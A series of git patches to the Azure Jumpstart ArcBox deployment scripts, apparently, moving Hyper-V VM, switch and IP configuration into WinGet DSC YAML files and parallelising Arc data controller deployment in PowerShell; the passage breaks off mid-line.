4GB -BootDevice VHD -VHDPath $Ubuntu01vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMFirmware -VMName $Ubuntu01vmName -EnableSecureBoot On -SecureBootTemplate 'MicrosoftUEFICertificateAuthority' - Set-VMProcessor -VMName $Ubuntu01vmName -Count 1 - Set-VM -Name $Ubuntu01vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - if ((Get-VM -Name $Ubuntu02vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Ubuntu02vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Ubuntu02vmName -MemoryStartupBytes 4GB -BootDevice VHD -VHDPath $Ubuntu02vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMFirmware -VMName $Ubuntu02vmName -EnableSecureBoot On -SecureBootTemplate 'MicrosoftUEFICertificateAuthority' - Set-VMProcessor -VMName $Ubuntu02vmName -Count 1 - Set-VM -Name $Ubuntu02vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - Write-Header "Enabling Guest Integration Service" - Get-VM | Get-VMIntegrationService | Where-Object { -not($_.Enabled) } | Enable-VMIntegrationService -Verbose - - # Start all the VMs - Write-Header "Starting VMs"\ - Start-VM -Name $Win2k19vmName - Start-VM -Name $Win2k22vmName - Start-VM -Name $Ubuntu01vmName - Start-VM -Name $Ubuntu02vmName + winget configure --file C:\ArcBox\DSC\itpro_virtual_machines.dsc.yml --accept-configuration-agreements --disable-interactivity Write-Header "Creating VM Credentials" # Hard-coded username and password for the nested VMs diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml index a6a2d1014e..afcf95cfcb 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -9,5 +9,26 @@ properties: settings: id: Hashicorp.Terraform source: winget - + - resource: PSDscResources/WindowsFeature + id: Hyper-V + directives: + description: Install Hyper-V + settings: + Name: Hyper-V + Ensure: Present + - resource: HyperVDsc/VMHost + id: VMHost + directives: + description: Configure VM Host settings + settings: + IsSingleInstance: Yes + EnableEnhancedSessionMode: True + - resource: HyperVDsc/VMSwitch + id: VMSwitch + directives: + description: Configure VM Switch + settings: + Name: InternalNATSwitch + Ensure: Present + Type: Internal configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml new file mode 100644 index 0000000000..ccd5d060f7 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml @@ -0,0 +1,69 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: HyperVDsc/VMHyperV + id: ArcBox-Win2K19 + directives: + description: Configure VM ArcBox-Win2K19 + settings: + Name: ArcBox-Win2K19 + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-Win2K19.vhdx + ProcessorCount: 2 + StartupMemory: '12GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-Win2K19 + EnableGuestService: true + SecureBoot: true + - resource: HyperVDsc/VMHyperV + id: ArcBox-Win2K22 + directives: + description: Configure VM ArcBox-Win2K22 + settings: + Name: ArcBox-Win2K22 + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-Win2K22.vhdx + ProcessorCount: 2 + StartupMemory: '12GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-Win2K22 + EnableGuestService: true + SecureBoot: true + - resource: HyperVDsc/VMHyperV + id: ArcBox-Ubuntu-01 + directives: + description: Configure VM ArcBox-Ubuntu-01 + settings: + Name: ArcBox-Ubuntu-01 + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-01.vhdx + ProcessorCount: 2 + StartupMemory: '4GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-01 + EnableGuestService: true + SecureBoot: false + - resource: HyperVDsc/VMHyperV + id: ArcBox-Ubuntu-02 + directives: + description: Configure VM ArcBox-Ubuntu-02 + settings: + Name: ArcBox-Ubuntu-02 + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-02.vhdx + ProcessorCount: 2 + StartupMemory: '4GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-02 + EnableGuestService: true + SecureBoot: false + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml new file mode 100644 index 0000000000..10f928be4f --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml @@ -0,0 +1,20 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + resources: + - resource: HyperVDsc/VMHyperV + id: ArcBox-SQL + directives: + description: Configure VM ArcBox-SQL + settings: + Name: ArcBox-SQL + SwitchName: 'InternalNATSwitch' + VhdPath: C:\ArcBox\Virtual Machines\ArcBox-SQL.vhdx + ProcessorCount: 2 + StartupMemory: '12GB' + RestartIfNeeded: true + State: Running + Generation: 2 + Path: C:\ArcBox\Virtual Machines\ArcBox-SQL + EnableGuestService: true + SecureBoot: true + configurationVersion: 0.2.0 \ No newline at end of file From 51b04d1f5d69bd7645cb665031fae9be50f3375c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 21:44:37 +0000 Subject: [PATCH 040/456] Added missing $spncredential Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 804a84e225..1f5d04b395 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -143,6 +143,8 @@ if ($Env:flavor -ne "DevOps") { az login --service-principal --username $spnClientId --password $spnClientSecret --tenant $spnTenantId Write-Header "Az PowerShell Login" + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId # Register Azure providers From 36667bc30222ca33268142774d5fc8c9572e7226 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 30 Dec 2023 07:53:10 +0000 Subject: [PATCH 041/456] Moved IP address configuration for vNIC to DSC Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 9 ++------- azure_jumpstart_arcbox/artifacts/WinGet.ps1 | 1 + .../artifacts/dsc/common.dsc.yml | 17 +++++++++++++++++ 3 files changed, 20 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 1f5d04b395..6bc3733594 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -102,11 +102,6 @@ if ($Env:flavor -ne "DevOps") { New-NetNat -Name $natName -InternalIPInterfaceAddressPrefix 10.10.1.0/24 } - # Create an internal network (gateway first) - $adapter = Get-NetAdapter | Where-Object { $_.Name -like "*" + $switchName + "*" } - Write-Host "Creating Gateway" - New-NetIPAddress -IPAddress 10.10.1.1 -PrefixLength 24 -InterfaceIndex $adapter.ifIndex - Write-Host "Creating VM Credentials" # Hard-coded username and password for the nested VMs $nestedWindowsUsername = "Administrator" @@ -199,7 +194,7 @@ if ($Env:flavor -ne "DevOps") { Write-Header "Create Hyper-V VMs" # Create the nested SQL VMs - winget configure --file C:\ArcBox\DSC\sql_virtual_machines.dsc.yml --accept-configuration-agreements --disable-interactivity + winget configure --file C:\ArcBox\DSC\virtual_machines_sql.dsc.yml --accept-configuration-agreements --disable-interactivity # We always want the VMs to start with the host and shut down cleanly with the host Write-Host "Set VM Auto Start/Stop" @@ -359,7 +354,7 @@ if ($Env:flavor -ne "DevOps") { # Create the nested VMs if not already created Write-Header "Create Hyper-V VMs" - winget configure --file C:\ArcBox\DSC\itpro_virtual_machines.dsc.yml --accept-configuration-agreements --disable-interactivity + winget configure --file C:\ArcBox\DSC\virtual_machines_itpro.dsc.yml --accept-configuration-agreements --disable-interactivity Write-Header "Creating VM Credentials" # Hard-coded username and password for the nested VMs diff --git a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 index 549120bc73..7406f3c4ce 100644 --- a/azure_jumpstart_arcbox/artifacts/WinGet.ps1 +++ b/azure_jumpstart_arcbox/artifacts/WinGet.ps1 @@ -11,6 +11,7 @@ Install-PSResource -Name Microsoft.WinGet.DSC -Scope AllUsers -Quiet -AcceptLice # Install DSC resources required for ArcBox Install-PSResource -Name DSCR_Font -Scope AllUsers -Quiet -AcceptLicense -TrustRepository Install-PSResource -Name HyperVDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease +Install-PSResource -Name NetworkingDsc -Scope AllUsers -Quiet -AcceptLicense -TrustRepository # Install WinGet CLI $null = Repair-WinGetPackageManager -AllUsers diff --git a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml index 3e21650827..8c2cb2ddd7 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/common.dsc.yml @@ -100,4 +100,21 @@ properties: settings: IsSingleInstance: Yes EnableEnhancedSessionMode: True + - resource: HyperVDsc/VMSwitch + id: VMSwitch + directives: + description: Configure VM Switch + settings: + Name: InternalNATSwitch + Ensure: Present + Type: Internal + - resource: NetworkingDsc/IPAddress + id: IPAddress.VMSwitch + directives: + description: Configure VM Switch vNIC IP Address + settings: + InterfaceAlias: 'vEthernet (InternalNATSwitch)' + IPAddress: '10.10.1.1/24' + AddressFamily: IPv4 + KeepExistingAddress: false configurationVersion: 0.2.0 \ No newline at end of file From 3a7372a24e4a536f6133430e1fd25adc11afe9e7 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 30 Dec 2023 07:53:40 +0000 Subject: [PATCH 042/456] Updated DSC configuration file references Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 8 ++++--- .../artifacts/dsc/itpro.dsc.yml | 22 ------------------- ...dsc.yml => virtual_machines_itpro.dsc.yml} | 8 +++---- ...s.dsc.yml => virtual_machines_sql.dsc.yml} | 2 +- 4 files changed, 10 insertions(+), 30 deletions(-) rename azure_jumpstart_arcbox/artifacts/dsc/{itpro_virtual_machines.dsc.yml => virtual_machines_itpro.dsc.yml} (89%) rename azure_jumpstart_arcbox/artifacts/dsc/{sql_virtual_machines.dsc.yml => virtual_machines_sql.dsc.yml} (91%) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index c4b26a4e3e..2c44b867be 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -166,9 +166,7 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbook.parameters. Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploymentStatus.ps1") -OutFile $Env:ArcBoxDir\DeploymentStatus.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/LogInstructions.txt") -OutFile $Env:ArcBoxLogsDir\LogInstructions.txt Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/common.dsc.yml") -OutFile $Env:ArcBoxDscDir\common.dsc.yml -Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml -Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml -Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml +Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/virtual_machines_sql.dsc.yml") -OutFile $Env:ArcBoxDscDir\virtual_machines_sql.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/arcbox-bginfo.bgi") -OutFile $Env:ArcBoxTestsDir\arcbox-bginfo.bgi Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/common.tests.ps1") -OutFile $Env:ArcBoxTestsDir\common.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/WinGet.ps1") -OutFile $Env:ArcBoxDir\WinGet.ps1 @@ -205,6 +203,8 @@ if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLUser.ps1") -OutFile $Env:ArcBoxDir\installArcAgentSQLUser.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/itpro.tests.ps1") -OutFile $Env:ArcBoxTestsDir\itpro.tests.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/virtual_machines_itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\virtual_machines_itpro.dsc.yml } # DevOps @@ -221,6 +221,7 @@ if ($flavor -eq "DevOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/arc.ico") -OutFile $Env:ArcBoxIconDir\arc.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/bookstore.ico") -OutFile $Env:ArcBoxIconDir\bookstore.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/devops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\devops.tests.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/devops.dsc.yml") -OutFile $Env:ArcBoxDscDir\devops.dsc.yml } # DataOps @@ -247,6 +248,7 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLSP.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgentSQLSP.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/dataops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\dataops.tests.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml } # Full diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml index afcf95cfcb..33d7c7853b 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -9,26 +9,4 @@ properties: settings: id: Hashicorp.Terraform source: winget - - resource: PSDscResources/WindowsFeature - id: Hyper-V - directives: - description: Install Hyper-V - settings: - Name: Hyper-V - Ensure: Present - - resource: HyperVDsc/VMHost - id: VMHost - directives: - description: Configure VM Host settings - settings: - IsSingleInstance: Yes - EnableEnhancedSessionMode: True - - resource: HyperVDsc/VMSwitch - id: VMSwitch - directives: - description: Configure VM Switch - settings: - Name: InternalNATSwitch - Ensure: Present - Type: Internal configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml similarity index 89% rename from azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml rename to azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml index ccd5d060f7..cc44512408 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_itpro.dsc.yml @@ -15,7 +15,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-Win2K19 + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: true - resource: HyperVDsc/VMHyperV @@ -31,7 +31,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-Win2K22 + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: true - resource: HyperVDsc/VMHyperV @@ -47,7 +47,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-01 + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: false - resource: HyperVDsc/VMHyperV @@ -63,7 +63,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-Ubuntu-02 + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: false configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml similarity index 91% rename from azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml rename to azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml index 10f928be4f..f261cf00f7 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/virtual_machines_sql.dsc.yml @@ -14,7 +14,7 @@ properties: RestartIfNeeded: true State: Running Generation: 2 - Path: C:\ArcBox\Virtual Machines\ArcBox-SQL + Path: C:\ArcBox\Virtual Machines EnableGuestService: true SecureBoot: true configurationVersion: 0.2.0 \ No newline at end of file From 37a4ad9484a91ea064529b4dfb406a0a5a496319 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 30 Dec 2023 09:40:16 +0000 Subject: [PATCH 043/456] Move AutomaticStartAction and AutomaticStopAction to DSC Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ---- 1 file changed, 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 6bc3733594..e8808b63b1 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -196,10 +196,6 @@ if ($Env:flavor -ne "DevOps") { # Create the nested SQL VMs winget configure --file C:\ArcBox\DSC\virtual_machines_sql.dsc.yml --accept-configuration-agreements --disable-interactivity - # We always want the VMs to start with the host and shut down cleanly with the host - Write-Host "Set VM Auto Start/Stop" - Set-VM -Name $SQLvmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - # Restarting Windows VM Network Adapters Write-Host "Restarting Network Adapters" Start-Sleep -Seconds 20 From 07b810b957a7b30f862e73fde2528a964a885729 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 1 Jan 2024 09:29:46 +0200 Subject: [PATCH 044/456] Implement foreach-parallel in dataOps --- .../artifacts/DataOpsLogonScript.ps1 | 124 +++--- .../artifacts/DeploySQLMIADAuth.ps1 | 382 +++++++++--------- 2 files changed, 241 insertions(+), 265 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 002ac6aa8f..fe9268dbba 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -145,7 +145,8 @@ kubectx capi="arcbox-capi" Start-Sleep -Seconds 10 Write-Header "Onboarding clusters as an Azure Arc-enabled Kubernetes cluster" -foreach ($cluster in $clusters) { +$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { + $cluster = $_ if ($cluster.context -ne 'capi') { Write-Host "Checking K8s Nodes" kubectl get nodes --kubeconfig $cluster.kubeConfig @@ -163,8 +164,6 @@ foreach ($cluster in $clusters) { Write-Host "Enabling Container Insights cluster extension" az k8s-extension create --name "azuremonitor-containers" --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId Write-Host "`n" - #Write-Host "Enabling Defender for Containers on AKS clusters" - #az aks update --enable-defender --resource-group $Env:resourceGroup --name $cluster.clusterName } } @@ -178,13 +177,11 @@ $kubectlMonShellAKS = Start-Process -PassThru PowerShell { $host.ui.RawUI.Window $kubectlMonShellAKSDr = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'AKS-DR Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" ; Start-Sleep -Seconds 5; Clear-Host } } Write-Header "Deploying Azure Arc Data Controller" -foreach ($cluster in $clusters) { - Start-Job -Name arcbox -ScriptBlock { - $cluster = $using:cluster - $context = $cluster.context - Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" - - az k8s-extension create --name arc-data-services ` +$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { + $cluster = $_ + $context = $cluster.context + Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" + az k8s-extension create --name arc-data-services ` --extension-type microsoft.arcdataservices ` --cluster-type connectedClusters ` --cluster-name $cluster.clusterName ` @@ -192,71 +189,60 @@ foreach ($cluster in $clusters) { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.25.0 ` + --version 1.18.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper - Write-Host "`n" - - Do { - Write-Host "Waiting for bootstrapper pod, hold tight..." - Start-Sleep -Seconds 20 - $podStatus = $(if (kubectl get pods -n arc --kubeconfig $cluster.kubeConfig | Select-String "bootstrapper" | Select-String "Running" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($podStatus -eq "Nope") - Write-Host "Bootstrapper pod is ready!" - - $connectedClusterId = az connectedk8s show --name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv - $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv - Start-Sleep -Seconds 10 - az customlocation create --name $cluster.customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --kubeconfig $cluster.kubeConfig --only-show-errors + Write-Host "`n" - Start-Sleep -Seconds 20 + Do { + Write-Host "Waiting for bootstrapper pod, hold tight..." + Start-Sleep -Seconds 20 + $podStatus = $(if (kubectl get pods -n arc --kubeconfig $cluster.kubeConfig | Select-String "bootstrapper" | Select-String "Running" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($podStatus -eq "Nope") + Write-Host "Bootstrapper pod is ready!" - # Deploying the Azure Arc Data Controller - - $context = $cluster.context - $customLocationId = $(az customlocation show --name $cluster.customLocation --resource-group $Env:resourceGroup --query id -o tsv) - $workspaceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query properties.customerId -o tsv) - $workspaceKey = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) - Copy-Item "$Env:ArcBoxDir\dataController.parameters.json" -Destination "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" - - $dataControllerParams = "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" - - (Get-Content -Path $dataControllerParams) -replace 'dataControllerName-stage', $cluster.dataController | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'azdataUsername-stage', $Env:AZDATA_USERNAME | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'azdataPassword-stage', $Env:AZDATA_PASSWORD | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'spnClientId-stage', $Env:spnClientId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'spnTenantId-stage', $Env:spnTenantId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'spnClientSecret-stage', $Env:spnClientSecret | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsWorkspaceId-stage', $workspaceId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsPrimaryKey-stage', $workspaceKey | Set-Content -Path $dataControllerParams - - az deployment group create --resource-group $Env:resourceGroup --name $cluster.dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" - Write-Host "`n" + $connectedClusterId = az connectedk8s show --name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv + $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv + Start-Sleep -Seconds 10 + az customlocation create --name $cluster.customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --kubeconfig $cluster.kubeConfig --only-show-errors - Do { - Write-Host "Waiting for data controller. Hold tight, this might take a few minutes..." - Start-Sleep -Seconds 45 - $dcStatus = $(if (kubectl get datacontroller -n arc --kubeconfig $cluster.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc data controller is ready!" - Write-Host "`n" - Remove-Item "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" -Force - - Stop-Transcript - } - -} - -while ($(Get-Job -Name arcbox).State -eq 'Running') { - Receive-Job -Name arcbox -WarningAction SilentlyContinue - Start-Sleep -Seconds 5 -} + Start-Sleep -Seconds 20 -Get-Job -name arcbox | Remove-Job -write-host "Successfully deployed Azure Arc Data Controllers" + # Deploying the Azure Arc Data Controller + + $context = $cluster.context + $customLocationId = $(az customlocation show --name $cluster.customLocation --resource-group $Env:resourceGroup --query id -o tsv) + $workspaceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query properties.customerId -o tsv) + $workspaceKey = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) + Copy-Item "$Env:ArcBoxDir\dataController.parameters.json" -Destination "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + + $dataControllerParams = "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + + (Get-Content -Path $dataControllerParams) -replace 'dataControllerName-stage', $cluster.dataController | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'azdataUsername-stage', $Env:AZDATA_USERNAME | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'azdataPassword-stage', $Env:AZDATA_PASSWORD | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'spnClientId-stage', $Env:spnClientId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'spnTenantId-stage', $Env:spnTenantId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'spnClientSecret-stage', $Env:spnClientSecret | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsWorkspaceId-stage', $workspaceId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 